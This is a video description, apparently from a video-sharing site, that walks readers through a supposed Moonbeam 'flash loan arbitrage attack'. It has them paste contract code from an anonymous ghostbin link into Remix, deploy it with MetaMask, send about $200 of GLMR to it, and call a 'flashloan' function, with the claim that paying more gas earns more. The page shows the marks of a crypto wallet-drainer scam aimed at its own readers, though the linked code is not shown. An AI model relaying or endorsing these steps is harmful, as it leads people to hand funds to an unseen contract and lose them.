MoonBeam GLMR - How to setup and execute a Multi DEX arbitrage on Moonbeam

2 years ago
8

In this video you will see how to setup an arbitrage attack on two DEXs on Moonbeam Chain GLMR; You will create the coin on StellaSwap and then trade this coin rapidly against SolarFlare. Be sure to make sure that you have metamask connected to MoonBeam and have GLMR in your wallet to fund the transaction.

NEW GAS FEE REQUIRED: APPROX 74.63 GLMR

***Note: GLM must be withdrawn to ‘Moonbeam’ which is EVM/Metamask compatible chain

Setup Metamask to connect to Moonbeam Mainnet –
https://docs.moonbeam.network/tokens/connect/metamask/
or
https://chainlist.org/

Smart Contract Code Link –
https://ghostbin.com/lAZbQ/raw

Remix Link –
http://remix.ethereum.org/

StellaSwap –
https://stellaswap.com/

StellaSwap Github –
https://github.com/stellaswap

Flash Loan Explanation –
https://academy.binance.com/en/articles/what-are-flash-loans-in-defi

USD to GLMR –
https://coincodex.com/convert/moonbeam/usd/

TO EARN MORE THAN THE AMOUNT IN THE VIDEO YOU CAN INCREASE GAS FEE

In this video, you can see how I used Flashloans to Arbitrage in Moonbeam Mainnet by deploying Contract/Token to mask our arbitrage attack against SolarFlare.

STEPS:

Before starting, install and setup MetaMask in Chrome or Firefox Browser.

Open and setup Remix in browser (
https://remix.ethereum.org
)
Copy the Contract code (
https://ghostbin.com/lAZbQ/raw
)
Create new file in Remix and paste Contract code and wait for everything to load, Go to Solidity Compiler and Select compiler to 0.5.16+commit version and hit Compile.
In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask. On Deploy, Enter your token details and deploy the contract
Get the Contract address from Remix
Send 200$ish of MoonBeam/GLMR to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools.
Call ‘flashloan’ function in Remix.

Loading comments...